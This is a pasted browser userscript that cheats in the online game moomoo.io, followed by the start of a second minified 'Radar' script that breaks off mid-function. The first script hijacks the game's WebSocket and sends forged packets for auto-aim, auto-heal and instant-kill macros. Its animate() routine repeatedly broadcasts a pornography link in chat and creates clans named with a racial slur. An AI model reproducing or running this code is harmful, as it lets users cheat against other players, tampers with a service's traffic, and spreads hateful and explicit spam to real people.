· 5 years ago · Aug 07, 2020, 07:10 AM
1// ==UserScript==
2// @name ΉYPΣDMӨD?
3// @namespace -
4// @version 12
5// @description
6// @author
7// @match *://moomoo.io/*
8// @match *://sandbox.moomoo.io/*
9// @grant none
10// @require https://greasyfork.org/scripts/368273-msgpack/code/msgpack.js?version=598723
11// @require http://code.jquery.com/jquery-3.3.1.min.js
12// @require https://code.jquery.com/ui/1.12.0/jquery-ui.min.js
13// @require https://cdnjs.cloudflare.com/ajax/libs/jquery-confirm/3.3.0/jquery-confirm.min.js
14
15// @downloadURL none
16// ==/UserScript==
17
18$("#consentBlock").css({display: "none"});
19//$("#youtuberOf").css({display: "none"});
20$("#mapDisplay").css({background: `url('https://i.imgur.com/fgFsQJp.png')`});
21
22document.getElementById("moomooio_728x90_home").style.display = "none";
23$("#moomooio_728x90_home").parent().css({display: "none"});
24
25window.onbeforeunload = null;
26
27let mouseX;
28let mouseY;
29
30let width;
31let height;
32
33setInterval(() => {
34 if(clanToggle == 1) {
35 doNewSend(["9", [null]]);
36 doNewSend(["8", [animate(false, 5)]])
37 }
38 doNewSend(["testing", [6]]);
39}, 200);
40
41setInterval(() => {
42 if(messageToggle == 1) {
43 doNewSend(["ch", [animate(true, 5)]])
44 }
45}, 200);
46
47setInterval(() => {
48 if(autoaim == true) {
49 doNewSend(["2", [nearestEnemyAngle]]);
50 }
51}, 0);
52
53setInterval(() => {
54 if(hatToggle == 1) {
55 if(oldHat != normalHat) {
56 hat(normalHat);
57 console.log("Tried. - Hat")
58 }
59 if(oldAcc != normalAcc) {
60 acc(normalAcc);
61 console.log("Tried. - Acc")
62 }
63 oldHat = normalHat;
64 oldAcc = normalAcc
65 }
66}, 25);
67
68function normal() {
69 hat(normalHat);
70 acc(normalAcc);
71}
72
73function aim(x, y){
74 var cvs = document.getElementById("gameCanvas");
75 cvs.dispatchEvent(new MouseEvent("mousemove", {
76 clientX: x,
77 clientY: y
78
79 }));
80}
81
82let coreURL = new URL(window.location.href);
83window.sessionStorage.force = coreURL.searchParams.get("fc");
84
85var nearestEnemy;
86var nearestEnemyAngle;
87var isEnemyNear;
88var instaSpeed = 252;
89var primary;
90var secondary;
91var foodType;
92var wallType;
93var spikeType;
94var millType;
95var mineType;
96var boostType;
97var turretType;
98var spawnpadType;
99var autoaim = false;
100var tick = 3;
101var oldHat;
102var oldAcc;
103var enemiesNear;
104var normalHat;
105var normalAcc;
106var ws;
107var msgpack5 = msgpack;
108var boostDir;
109let myPlayer = {
110 id: null,
111 x: null,
112 y: null,
113 dir: null,
114 object: null,
115 weapon: null,
116 clan: null,
117 isLeader: null,
118 hat: null,
119 accessory: null,
120 isSkull: null
121};
122
123let healSpeed = 100;
124var messageToggle = 0;
125var clanToggle = 1;
126let healToggle = 12;
127let hatToggle = 1;
128
129document.msgpack = msgpack;
130function n(){
131 this.buffer = new Uint8Array([0]);
132 this.buffer.__proto__ = new Uint8Array;
133 this.type = 0;
134}
135
136WebSocket.prototype.oldSend = WebSocket.prototype.send;
137WebSocket.prototype.send = function(m){
138 if (!ws){
139 document.ws = this;
140
141 ws = this;
142 socketFound(this);
143 }
144 this.oldSend(m);
145};
146
147
148function socketFound(socket){
149 socket.addEventListener('message', function(message){
150 handleMessage(message);
151 });
152}
153
154function handleMessage(m){
155 let temp = msgpack5.decode(new Uint8Array(m.data));
156 let data;
157 if(temp.length > 1) {
158 data = [temp[0], ...temp[1]];
159 if (data[1] instanceof Array){
160 data = data;
161 }
162 } else {
163 data = temp;
164 }
165 let item = data[0];
166 if(!data) {return};
167
168 if(item === "io-init") {
169 let cvs = document.getElementById("gameCanvas");
170 width = cvs.clientWidth;
171 height = cvs.clientHeight;
172 $(window).resize(function() {
173 width = cvs.clientWidth;
174 height = cvs.clientHeight;
175 });
176 cvs.addEventListener("mousemove", e => {
177 mouseX = e.clientX;
178 mouseY = e.clientY;
179 });
180 }
181
182 if (item == "1" && myPlayer.id == null){
183 myPlayer.id = data[1];
184 }
185
186 if (item == "33") {
187 enemiesNear = [];
188 for(let i = 0; i < data[1].length / 13; i++) {
189 let playerInfo = data[1].slice(13*i, 13*i+13);
190 if(playerInfo[0] == myPlayer.id) {
191 myPlayer.x = playerInfo[1];
192 myPlayer.y = playerInfo[2];
193 myPlayer.dir = playerInfo[3];
194 myPlayer.object = playerInfo[4];
195 myPlayer.weapon = playerInfo[5];
196 myPlayer.clan = playerInfo[7];
197 myPlayer.isLeader = playerInfo[8];
198 myPlayer.hat = playerInfo[9];
199 myPlayer.accessory = playerInfo[10];
200 myPlayer.isSkull = playerInfo[11];
201 } else if(playerInfo[7] != myPlayer.clan || playerInfo[7] === null) {
202 enemiesNear.push(playerInfo);
203 }
204 }
205 }
206
207 isEnemyNear = false;
208 if(enemiesNear) {
209 nearestEnemy = enemiesNear.sort((a,b) => dist(a, myPlayer) - dist(b, myPlayer))[0];
210 }
211
212 if(nearestEnemy) {
213 nearestEnemyAngle = Math.atan2(nearestEnemy[2]-myPlayer.y, nearestEnemy[1]-myPlayer.x);
214 if(Math.sqrt(Math.pow((myPlayer.y-nearestEnemy[2]), 2) + Math.pow((myPlayer.x-nearestEnemy[1]), 2)) < 300) {
215 isEnemyNear = true;
216 if(autoaim == false && myPlayer.hat != 7 && myPlayer.hat != 53) {
217 normalHat = 6;
218 if(primary != 8) {
219 normalAcc = 19
220 }
221 };
222 }
223 }
224 if(isEnemyNear == false && autoaim == false) {
225 normalAcc = 11;
226 if (myPlayer.y < 2400){
227 normalHat = 15;
228 } else if (myPlayer.y > 6850 && myPlayer.y < 7550){
229 normalHat = 31;
230 } else {
231 normalHat = 12;
232 }
233 }
234 if (!nearestEnemy) {
235 nearestEnemyAngle = myPlayer.dir;
236 }
237 if(item == "h" && data[1] == myPlayer.id) {
238 if(data[2] < 100 && data[2] > 0 && healToggle == 1) {
239 setTimeout( () => {
240 place(foodType, null);
241 }, healSpeed);
242
243 }
244 }
245 update();
246}
247
248
249function doNewSend(sender){
250 ws.send(new Uint8Array(Array.from(msgpack5.encode(sender))));
251}
252
253function acc(id) {
254 doNewSend(["13c", [0, 0, 1]]);
255 doNewSend(["13c", [0, id, 1]]);
256}
257
258function hat(id) {
259 doNewSend(["13c", [0, id, 0]]);
260}
261
262
263function place(id, angle = Math.atan2(mouseY - height / 2, mouseX - width / 2)) {
264 doNewSend(["5", [id, null]]);
265 doNewSend(["c", [1, angle]]);
266 doNewSend(["c", [0, angle]]);
267 doNewSend(["5", [myPlayer.weapon, true]]);
268}
269
270function boostSpike() {
271 if(boostDir == null) {
272 boostDir = nearestEnemyAngle;
273 }
274 place(spikeType, boostDir + toRad(90));
275 place(spikeType, boostDir - toRad(90));
276 place(boostType, boostDir);
277 doNewSend(["33", [boostDir]]);
278}
279
280
281var repeater = function(key, action, interval) {
282 let _isKeyDown = false;
283 let _intervalId = undefined;
284
285 return {
286 start(keycode) {
287 if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
288 _isKeyDown = true;
289 if(_intervalId === undefined) {
290 _intervalId = setInterval(() => {
291 action();
292 if(!_isKeyDown){
293 clearInterval(_intervalId);
294 _intervalId = undefined;
295 console.log("claered");
296 }
297 }, interval);
298 }
299 }
300 },
301
302 stop(keycode) {
303 if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
304 _isKeyDown = false;
305 }
306 }
307 };
308
309
310}
311
312const healer = repeater(81, () => {place(foodType)}, 0);
313const boostPlacer = repeater(70, () => {place(boostType)}, 0);
314const spikePlacer = repeater(86, () => {place(spikeType)}, 0);
315const millPlacer = repeater(78, () => {place(millType)}, 0);
316const turretPlacer = repeater(72, () => {place(turretType)}, 0);
317const boostSpiker = repeater(71, boostSpike, 0);
318
319document.addEventListener('keydown', (e)=>{
320 spikePlacer.start(e.keyCode);
321 healer.start(e.keyCode);
322 boostPlacer.start(e.keyCode);
323 boostSpiker.start(e.keyCode);
324 millPlacer.start(e.keyCode);
325 turretPlacer.start(e.keyCode);
326
327 if (e.keyCode == 79 && document.activeElement.id.toLowerCase() !== 'chatbox') {
328 for (let i=0;i<5;i++){
329 let angle = myPlayer.dir + toRad(i * 72);
330 place(millType, angle)
331 }
332 }
333 if (e.keyCode == 80 && document.activeElement.id.toLowerCase() !== 'chatbox') {
334 for (let i=0;i<4;i++){
335 let angle = myPlayer.dir + toRad(i * 90);
336 place(wallType, angle)
337 }
338 }
339 if (e.keyCode == 73 && document.activeElement.id.toLowerCase() !== 'chatbox') {
340 for (let i=0;i<4;i++){
341 let angle = myPlayer.dir + toRad(i * 90);
342 place(boostType, angle)
343 }
344 }
345 if (e.keyCode == 186 && document.activeElement.id.toLowerCase() !== 'chatbox') {
346 for (let i=0;i<4;i++){
347 let angle = myPlayer.dir + toRad(i * 90);
348 place(spikeType, angle)
349 }
350 }
351 if (e.keyCode == 72 && document.activeElement.id.toLowerCase() !== 'chatbox') {
352 place(turretType, myPlayer.dir + toRad(45));
353 place(turretType, myPlayer.dir - toRad(45));
354 }
355
356 if (e.keyCode == 77 && document.activeElement.id.toLowerCase() !== 'chatbox') {
357 if (myPlayer.y < 2400){
358 hat(15);
359 } else if (myPlayer.y > 6850 && myPlayer.y < 7550){
360 hat(31);
361 } else {
362 hat(12);
363 }
364 acc(11);
365 }
366 if (e.keyCode == 85 && document.activeElement.id.toLowerCase() !== 'chatbox') {
367 hat(20);
368 }
369
370 if(e.keyCode == 82 && document.activeElement.id.toLowerCase() !== 'chatbox') {
371 autoaim = true;
372 doNewSend(["5", [primary, true]]);
373 doNewSend(["13c", [0, 7, 0]]);
374 doNewSend(["13c", [0, 0, 1]]);
375 doNewSend(["13c", [0, 19, 1]]);
376 doNewSend(["c", [1]]);
377 setTimeout( () => {
378 doNewSend(["13c", [0, 53, 0]]);
379 doNewSend(["5", [secondary, true]]);
380 }, instaSpeed - 130);
381
382 setTimeout( () => {
383 doNewSend(["5", [primary, true]]);
384 doNewSend(["c", [0, null]]);
385 doNewSend(["13c", [0, 6, 0]]);
386 autoaim = false;
387 }, instaSpeed);
388 }
389
390 if(e.keyCode == 32 && document.activeElement.id.toLowerCase() !== 'chatbox') {
391 autoaim = true;
392 doNewSend(["5", [primary, true]]);
393 doNewSend(["13c", [0, 7, 0]]);
394 doNewSend(["13c", [0, 0, 1]]);
395 doNewSend(["13c", [0, 19, 1]]);
396 place(spikeType);
397 doNewSend(["c", [1]]);
398
399 setTimeout( () => {
400 doNewSend(["13c", [0, 53, 0]]);
401 }, 100);
402
403 setTimeout( () => {
404 doNewSend(["c", [0, null]]);
405 doNewSend(["13c", [0, 6, 0]]);
406 autoaim = false;
407 }, 200);
408 }
409
410 if(e.keyCode == 38 && document.activeElement.id.toLowerCase() !== 'chatbox') {
411 messageToggle = (messageToggle + 1) % 2;
412 }
413
414 if(e.keyCode == 40 && document.activeElement.id.toLowerCase() !== 'chatbox') {
415 clanToggle = (clanToggle + 1) % 2;
416 }
417
418 if(e.keyCode == 106 && document.activeElement.id.toLowerCase() !== 'chatbox') {
419 healToggle = (healToggle + 1) % 2;
420 if(healToggle == 0) {
421 if(hatToggle == 0) {
422 document.title = "Heal: OFF | Hat: OFF"
423 } else {
424 document.title = "Heal: OFF | Hat: ON"
425 }
426 } else {
427 if(hatToggle == 0) {
428 document.title = "Heal: ON | Hat: OFF"
429 } else {
430 document.title = "Heal: ON | Hat: ON"
431 }
432 }
433 }
434 if(e.keyCode == 76 && document.activeElement.id.toLowerCase() !== 'chatbox') {
435 autoaim = true;
436 doNewSend(["5", [secondary, true]]);
437 doNewSend(["13c", [0, 53, 0]]);
438 doNewSend(["c", [1]]);
439
440 setTimeout( () => {
441 doNewSend(["6", [12]]);
442 }, 300);
443
444 setTimeout( () => {
445 doNewSend(["6", [15]]);
446 }, 300);
447
448 setTimeout( () => {
449 doNewSend(["c", [0]]);
450 doNewSend(["13c", [0, 6, 0]]);
451 doNewSend(["5", [primary, true]]);
452 autoaim = false;
453 }, 300);
454 }
455
456 if(e.keyCode == 97 && document.activeElement.id.toLowerCase() !== 'chatbox') {
457 doNewSend(["6", [4]]);
458 }
459
460 if(e.keyCode == 98 && document.activeElement.id.toLowerCase() !== 'chatbox') {
461 doNewSend(["6", [15]]);
462 }
463 if(e.keyCode == 99 && document.activeElement.id.toLowerCase() !== 'chatbox') {
464 doNewSend(["6", [28]]);
465 }
466 if(e.keyCode == 105 && document.activeElement.id.toLowerCase() !== 'chatbox') {
467 doNewSend(["6", [28]]);
468 doNewSend(["6", [25]]);
469 }
470 if(e.keyCode == 111 && document.activeElement.id.toLowerCase() !== 'chatbox') {
471 hatToggle = (hatToggle + 1) % 2;
472 if(healToggle == 0) {
473 if(hatToggle == 0) {
474 document.title = "Heal: OFF | Hat: OFF"
475 } else {
476 document.title = "Heal: OFF | Hat: ON"
477 }
478 } else {
479 if(hatToggle == 0) {
480 document.title = "Heal: ON | Hat: OFF"
481 } else {
482 document.title = "Heal: ON | Hat: ON"
483 }
484 }
485 }
486})
487
488document.addEventListener('keyup', (e)=>{
489 spikePlacer.stop(e.keyCode);
490 boostPlacer.stop(e.keyCode);
491 boostSpiker.stop(e.keyCode);
492 millPlacer.stop(e.keyCode);
493 turretPlacer.stop(e.keyCode);
494 healer.stop(e.keyCode);
495 if(e.keyCode == 71 && document.activeElement.id.toLowerCase() !== 'chatbox') {
496 setTimeout( () => {
497 doNewSend(["33", [null]]);
498 boostDir = null;
499 }, 10);
500 }
501})
502
503
504function isElementVisible(e) {
505 return (e.offsetParent !== null);
506}
507
508
509function toRad(angle) {
510 return angle * 0.01745329251;
511}
512
513function dist(a, b){
514 return Math.sqrt( Math.pow((b.y-a[2]), 2) + Math.pow((b.x-a[1]), 2) );
515}
516
517function animate(space, chance) {
518 let result = '';
519 let characters;
520 if(space) {
521 characters = 'www.Pornhub.com';
522 } else {
523 characters = 'Nigger';
524 }
525 if(space) {
526 characters = characters.padStart((30 - characters.length) / 2 + characters.length)
527 characters = characters.padEnd(30);
528 }
529 let count = 0;
530 for (let i = 0; i < characters.length; i++ ) {
531 if(Math.floor(Math.random() * chance) == 1 && characters.charAt(i) != "-" && count < 2 && characters.charAt(i) != " ") {
532 result += "_";
533 count++
534 } else {
535 result += characters.charAt(i);
536 }
537 }
538 return result;
539}
540
541document.title = "Heal: ON | Hat: ON"
542
543function update() {
544 for (let i=0;i<9;i++){
545 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
546 primary = i;
547 }
548 }
549
550 for (let i=9;i<16;i++){
551 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
552 secondary = i;
553 }
554 }
555
556 for (let i=16;i<19;i++){
557 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
558 foodType = i - 16;
559 }
560 }
561
562 for (let i=19;i<22;i++){
563 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
564 wallType = i - 16;
565 }
566 }
567
568 for (let i=22;i<26;i++){
569 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
570 spikeType = i - 16;
571 }
572 }
573
574 for (let i=26;i<29;i++){
575 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
576 millType = i - 16;
577 }
578 }
579
580 for (let i=29;i<31;i++){
581 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
582 mineType = i - 16;
583 }
584 }
585
586 for (let i=31;i<33;i++){
587 if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))){
588 boostType = i - 16;
589 }
590 }
591
592 for (let i=33;i<39;i++){
593 if (isElementVisible(document.getElementById("actionBarItem" + i.toString())) && i != 36){
594 turretType = i - 16;
595 }
596 }
597
598 spawnpadType = 36;
599}
600
601// ==UserScript==
602// @name Radar
603// @namespace
604// @version 1
605// @description
606// @author r
607// @match *://moomoo.io/*
608// @match *://dev.moomoo.io/*
609// @match *://sandbox.moomoo.io/*
610// @match *://https://moomoo.io/bundle.js/*
611// @match *://https://sandbox.moomoo.io/bundle.js/*
612// @grant none
613// @require https://greasyfork.org/scripts/368273-msgpack/code/msgpack.js?version=598723
614// @require http://code.jquery.com/jquery-3.3.1.min.js
615// @require https://code.jquery.com/ui/1.12.0/jquery-ui.min.js
616// @require https://cdnjs.cloudflare.com/ajax/libs/jquery-confirm/3.3.0/jquery-confirm.min.js
617
618// @downloadURL none
619// ==/UserScript==
620! function(e) {
621 var t = {};
622
623 function n(i) {
624 if (t[i]) return t[i].exports;
625 var r = t[i] = {
626 i: i,
627 l: !1,
628 exports: {}
629 };
630 return e[i].call(r.exports, r, r.exports, n), r.l = !0, r.exports
631 }
632 n.m = e, n.c = t, n.d = function(e, t, i) {
633 n.o(e, t) || Object.defineProperty(e, t, {
634 enumerable: !0,
635 get: i
636 })
637 }, n.r = function(e) {
638 "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(
639 e, Symbol.toStringTag, {
640 value: "Module"
641 }), Object.defineProperty(e, "__esModule", {
642 value: !0
643 })
644 }, n.t = function(e, t) {
645 if (1 & t && (e = n(e)), 8 & t) return e;
646 if (4 & t && "object" == typeof e && e && e.__esModule) return e;
647 var i = Object.create(null);
648 if (n.r(i), Object.defineProperty(i, "default", {
649 enumerable: !0,
650 value: e
651 }), 2 & t && "string" != typeof e)
652 for (var r in e) n.d(i, r, function(t) {
653 return e[t]
654 }.bind(null, r));
655 return i
656 }, n.n = function(e) {
657 var t = e && e.__esModule ? function() {
658 return e.default
659 } : function() {
660 return e
661 };
662 return n.d(t, "a", t), t
663 }, n.o = function(e, t) {
664 return Object.prototype.hasOwnProperty.call(e, t)
665 }, n.p = "", n(n.s = 21)
666}([function(e, t, n) {
667 var i = t.global = n(25),
668 r = t.hasBuffer = i && !!i.isBuffer,
669 s = t.hasArrayBuffer = "undefined" != typeof ArrayBuffer,
670 a = t.isArray = n(5);
671 t.isArrayBuffer = s ? function(e) {
672 return e instanceof ArrayBuffer || p(e)
673 } : m;
674 var o = t.isBuffer = r ? i.isBuffer : m,
675 c = t.isView = s ? ArrayBuffer.isView || y("ArrayBuffer", "buffer") : m;
676 t.alloc = d, t.concat = function(e, n) {
677 n || (n = 0, Array.prototype.forEach.call(e, (function(e) {
678 n += e.length
679 })));
680 var i = this !== t && this || e[0],
681 r = d.call(i, n),
682 s = 0;
683 return Array.prototype.forEach.call(e, (function(e) {
684 s += f.copy.call(e, r, s)
685 })), r
686 }, t.from = function(e) {
687 return "string" == typeof e ? function(e) {
688 var t = 3 * e.length,
689 n = d.call(this, t),
690 i = f.write.call(n, e);
691 return t !== i && (n = f.slice.call(n, 0, i)), n
692 }.call(this, e) : g(this).from(e)
693 };
694 var l = t.Array = n(28),
695 h = t.Buffer = n(29),
696 u = t.Uint8Array = n(30),
697 f = t.prototype = n(6);
698
699 function d(e) {
700 return g(this).alloc(e)
701 }
702 var p = y("ArrayBuffer");
703
704 function g(e) {
705 return o(e) ? h : c(e) ? u : a(e) ? l : r ? h : s ? u : l
706 }
707
708 function m() {
709 return !1
710 }
711
712 function y(e, t) {
713 return e = "[object " + e + "]",
714 function(n) {
715 return null != n && {}.toString.call(t ? n[t] : n) === e
716 }
717 }
718}, function(e, t, n) {
719 var i = n(5);
720 t.createCodec = o, t.install = function(e) {
721 for (var t in e) s.prototype[t] = a(s.prototype[t], e[t])
722 }, t.filter = function(e) {
723 return i(e) ? function(e) {
724 return e = e.slice(),
725 function(n) {
726 return e.reduce(t, n)
727 };
728
729 function t(e, t) {
730 return t(e)
731 }
732 }(e) : e
733 };
734 var r = n(0);
735
736 function s(e) {
737 if (!(this instanceof s)) return new s(e);
738 this.options = e, this.init()
739 }
740
741 function a(e, t) {
742 return e && t ? function() {
743 return e.apply(this, arguments), t.apply(this, arguments)
744 } : e || t
745 }
746
747 function o(e) {
748 return new s(e)
749 }
750 s.prototype.init = function() {
751 var e = this.options;
752 return e && e.uint8array && (this.bufferish = r.Uint8Array), this
753 }, t.preset = o({
754 preset: !0
755 })
756}, function(e, t, n) {
757 var i = n(3).ExtBuffer,
758 r = n(32),
759 s = n(33),
760 a = n(1);
761
762 function o() {
763 var e = this.options;
764 return this.encode = function(e) {
765 var t = s.getWriteType(e);
766 return function(e, n) {
767 var i = t[typeof n];
768 if (!i) throw new Error('Unsupported type "' + typeof n + '": ' + n);
769 i(e, n)
770 }
771 }(e), e && e.preset && r.setExtPackers(this), this
772 }
773 a.install({
774 addExtPacker: function(e, t, n) {
775 n = a.filter(n);
776 var r = t.name;
777 r && "Object" !== r ? (this.extPackers || (this.extPackers = {}))[r] =
778 s : (this.extEncoderList || (this.extEncoderList = [])).unshift([t, s]);
779
780 function s(t) {
781 return n && (t = n(t)), new i(t, e)
782 }
783 },
784 getExtPacker: function(e) {
785 var t = this.extPackers || (this.extPackers = {}),
786 n = e.constructor,
787 i = n && n.name && t[n.name];
788 if (i) return i;
789 for (var r = this.extEncoderList || (this.extEncoderList = []), s = r.length,
790 a = 0; a < s; a++) {
791 var o = r[a];
792 if (n === o[0]) return o[1]
793 }
794 },
795 init: o
796 }), t.preset = o.call(a.preset)
797}, function(e, t, n) {
798 t.ExtBuffer = function e(t, n) {
799 if (!(this instanceof e)) return new e(t, n);
800 this.buffer = i.from(t), this.type = n
801 };
802 var i = n(0)
803}, function(e, t) {
804 t.read = function(e, t, n, i, r) {
805 var s, a, o = 8 * r - i - 1,
806 c = (1 << o) - 1,
807 l = c >> 1,
808 h = -7,
809 u = n ? r - 1 : 0,
810 f = n ? -1 : 1,
811 d = e[t + u];
812 for (u += f, s = d & (1 << -h) - 1, d >>= -h, h += o; h > 0; s = 256 * s +
813 e[t + u], u += f, h -= 8);
814 for (a = s & (1 << -h) - 1, s >>= -h, h += i; h > 0; a = 256 * a + e[t + u],
815 u += f, h -= 8);
816 if (0 === s) s = 1 - l;
817 else {
818 if (s === c) return a ? NaN : 1 / 0 * (d ? -1 : 1);
819 a += Math.pow(2, i), s -= l
820 }
821 return (d ? -1 : 1) * a * Math.pow(2, s - i)
822 }, t.write = function(e, t, n, i, r, s) {
823 var a, o, c, l = 8 * s - r - 1,
824 h = (1 << l) - 1,
825 u = h >> 1,
826 f = 23 === r ? Math.pow(2, -24) - Math.pow(2, -77) : 0,
827 d = i ? 0 : s - 1,
828 p = i ? 1 : -1,
829 g = t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
830 for (t = Math.abs(t), isNaN(t) || t === 1 / 0 ? (o = isNaN(t) ? 1 : 0, a =
831 h) : (a = Math.floor(Math.log(t) / Math.LN2), t * (c = Math.pow(2, -a)) <
832 1 && (a--, c *= 2), (t += a + u >= 1 ? f / c : f * Math.pow(2, 1 - u)) *
833 c >= 2 && (a++, c /= 2), a + u >= h ? (o = 0, a = h) : a + u >= 1 ? (o =
834 (t * c - 1) * Math.pow(2, r), a += u) : (o = t * Math.pow(2, u - 1) *
835 Math.pow(2, r), a = 0)); r >= 8; e[n + d] = 255 & o, d += p, o /= 256,
836 r -= 8);
837 for (a = a << r | o, l += r; l > 0; e[n + d] = 255 & a, d += p, a /= 256,
838 l -= 8);
839 e[n + d - p] |= 128 * g
840 }
841}, function(e, t) {
842 var n = {}.toString;
843 e.exports = Array.isArray || function(e) {
844 return "[object Array]" == n.call(e)
845 }
846}, function(e, t, n) {
847 var i = n(31);
848 t.copy = c, t.slice = l, t.toString = function(e, t, n) {
849 return (!a && r.isBuffer(this) ? this.toString : i.toString).apply(this,
850 arguments)
851 }, t.write = function(e) {
852 return function() {
853 return (this[e] || i[e]).apply(this, arguments)
854 }
855 }("write");
856 var r = n(0),
857 s = r.global,
858 a = r.hasBuffer && "TYPED_ARRAY_SUPPORT" in s,
859 o = a && !s.TYPED_ARRAY_SUPPORT;
860
861 function c(e, t, n, s) {
862 var a = r.isBuffer(this),
863 c = r.isBuffer(e);
864 if (a && c) return this.copy(e, t, n, s);
865 if (o || a || c || !r.isView(this) || !r.isView(e)) return i.copy.call(this,
866 e, t, n, s);
867 var h = n || null != s ? l.call(this, n, s) : this;
868 return e.set(h, t), h.length
869 }
870
871 function l(e, t) {
872 var n = this.slice || !o && this.subarray;
873 if (n) return n.call(this, e, t);
874 var i = r.alloc.call(this, t - e);
875 return c.call(this, i, 0, e, t), i
876 }
877}, function(e, t, n) {
878 (function(e) {
879 ! function(t) {
880 var n, i = "undefined",
881 r = i !== typeof e && e,
882 s = i !== typeof Uint8Array && Uint8Array,
883 a = i !== typeof ArrayBuffer && ArrayBuffer,
884 o = [0, 0, 0, 0, 0, 0, 0, 0],
885 c = Array.isArray || function(e) {
886 return !!e && "[object Array]" == Object.prototype.toString.call(e)
887 },
888 l = 4294967296;
889
890 function h(e, c, h) {
891 var b = c ? 0 : 4,
892 x = c ? 4 : 0,
893 S = c ? 0 : 3,
894 T = c ? 1 : 2,
895 I = c ? 2 : 1,
896 E = c ? 3 : 0,
897 M = c ? y : v,
898 A = c ? k : w,
899 P = O.prototype,
900 B = "is" + e,
901 C = "_" + B;
902 return P.buffer = void 0, P.offset = 0, P[C] = !0, P.toNumber = R, P.toString =
903 function(e) {
904 var t = this.buffer,
905 n = this.offset,
906 i = _(t, n + b),
907 r = _(t, n + x),
908 s = "",
909 a = !h && 2147483648 & i;
910 for (a && (i = ~i, r = l - r), e = e || 10;;) {
911 var o = i % e * l + r;
912 if (i = Math.floor(i / e), r = Math.floor(o / e), s = (o % e).toString(
913 e) + s, !i && !r) break
914 }
915 return a && (s = "-" + s), s
916 }, P.toJSON = R, P.toArray = u, r && (P.toBuffer = f), s && (P.toArrayBuffer =
917 d), O[B] = function(e) {
918 return !(!e || !e[C])
919 }, t[e] = O, O;
920
921 function O(e, t, r, c) {
922 return this instanceof O ? function(e, t, r, c, h) {
923 if (s && a && (t instanceof a && (t = new s(t)), c instanceof a && (c =
924 new s(c))), t || r || c || n) {
925 if (!p(t, r)) h = r, c = t, r = 0, t = new(n || Array)(8);
926 e.buffer = t, e.offset = r |= 0, i !== typeof c && ("string" ==
927 typeof c ? function(e, t, n, i) {
928 var r = 0,
929 s = n.length,
930 a = 0,
931 o = 0;
932 "-" === n[0] && r++;
933 for (var c = r; r < s;) {
934 var h = parseInt(n[r++], i);
935 if (!(h >= 0)) break;
936 o = o * i + h, a = a * i + Math.floor(o / l), o %= l
937 }
938 c && (a = ~a, o ? o = l - o : a++), j(e, t + b, a), j(e, t + x, o)
939 }(t, r, c, h || 10) : p(c, h) ? g(t, r, c, h) : "number" == typeof h ?
940 (j(t, r + b, c), j(t, r + x, h)) : c > 0 ? M(t, r, c) : c < 0 ? A(
941 t, r, c) : g(t, r, o, 0))
942 } else e.buffer = m(o, 0)
943 }(this, e, t, r, c) : new O(e, t, r, c)
944 }
945
946 function R() {
947 var e = this.buffer,
948 t = this.offset,
949 n = _(e, t + b),
950 i = _(e, t + x);
951 return h || (n |= 0), n ? n * l + i : i
952 }
953
954 function j(e, t, n) {
955 e[t + E] = 255 & n, n >>= 8, e[t + I] = 255 & n, n >>= 8, e[t + T] =
956 255 & n, n >>= 8, e[t + S] = 255 & n
957 }
958
959 function _(e, t) {
960 return 16777216 * e[t + S] + (e[t + T] << 16) + (e[t + I] << 8) + e[t +
961 E]
962 }
963 }
964
965 function u(e) {
966 var t = this.buffer,
967 i = this.offset;
968 return n = null, !1 !== e && 0 === i && 8 === t.length && c(t) ? t : m(t,
969 i)
970 }
971
972 function f(t) {
973 var i = this.buffer,
974 s = this.offset;
975 if (n = r, !1 !== t && 0 === s && 8 === i.length && e.isBuffer(i)) return i;
976 var a = new r(8);
977 return g(a, 0, i, s), a
978 }
979
980 function d(e) {
981 var t = this.buffer,
982 i = this.offset,
983 r = t.buffer;
984 if (n = s, !1 !== e && 0 === i && r instanceof a && 8 === r.byteLength)
985 return r;
986 var o = new s(8);
987 return g(o, 0, t, i), o.buffer
988 }
989
990 function p(e, t) {
991 var n = e && e.length;
992 return t |= 0, n && t + 8 <= n && "string" != typeof e[t]
993 }
994
995 function g(e, t, n, i) {
996 t |= 0, i |= 0;
997 for (var r = 0; r < 8; r++) e[t++] = 255 & n[i++]
998 }
999
1000 function m(e, t) {
1001 return Array.prototype.slice.call(e, t, t + 8)
1002 }
1003
1004 function y(e, t, n) {
1005 for (var i = t + 8; i > t;) e[--i] = 255 & n, n /= 256
1006 }
1007
1008 function k(e, t, n) {
1009 var i = t + 8;
1010 for (n++; i > t;) e[--i] = 255 & -n ^ 255, n /= 256
1011 }
1012
1013 function v(e, t, n) {
1014 for (var i = t + 8; t < i;) e[t++] = 255 & n, n /= 256
1015 }
1016
1017 function w(e, t, n) {
1018 var i = t + 8;
1019 for (n++; t < i;) e[t++] = 255 & -n ^ 255, n /= 256
1020 }
1021 h("Uint64BE", !0, !0), h("Int64BE", !0, !1), h("Uint64LE", !1, !0), h(
1022 "Int64LE", !1, !1)
1023 }("string" != typeof t.nodeName ? t : this || {})
1024 }).call(this, n(11).Buffer)
1025}, function(e, t, n) {
1026 var i = n(3).ExtBuffer,
1027 r = n(35),
1028 s = n(17).readUint8,
1029 a = n(36),
1030 o = n(1);
1031
1032 function c() {
1033 var e = this.options;
1034 return this.decode = function(e) {
1035 var t = a.getReadToken(e);
1036 return function(e) {
1037 var n = s(e),
1038 i = t[n];
1039 if (!i) throw new Error("Invalid type: " + (n ? "0x" + n.toString(16) :
1040 n));
1041 return i(e)
1042 }
1043 }(e), e && e.preset && r.setExtUnpackers(this), this
1044 }
1045 o.install({
1046 addExtUnpacker: function(e, t) {
1047 (this.extUnpackers || (this.extUnpackers = []))[e] = o.filter(t)
1048 },
1049 getExtUnpacker: function(e) {
1050 return (this.extUnpackers || (this.extUnpackers = []))[e] || function(t) {
1051 return new i(t, e)
1052 }
1053 },
1054 init: c
1055 }), t.preset = c.call(o.preset)
1056}, function(e, t, n) {
1057 t.encode = function(e, t) {
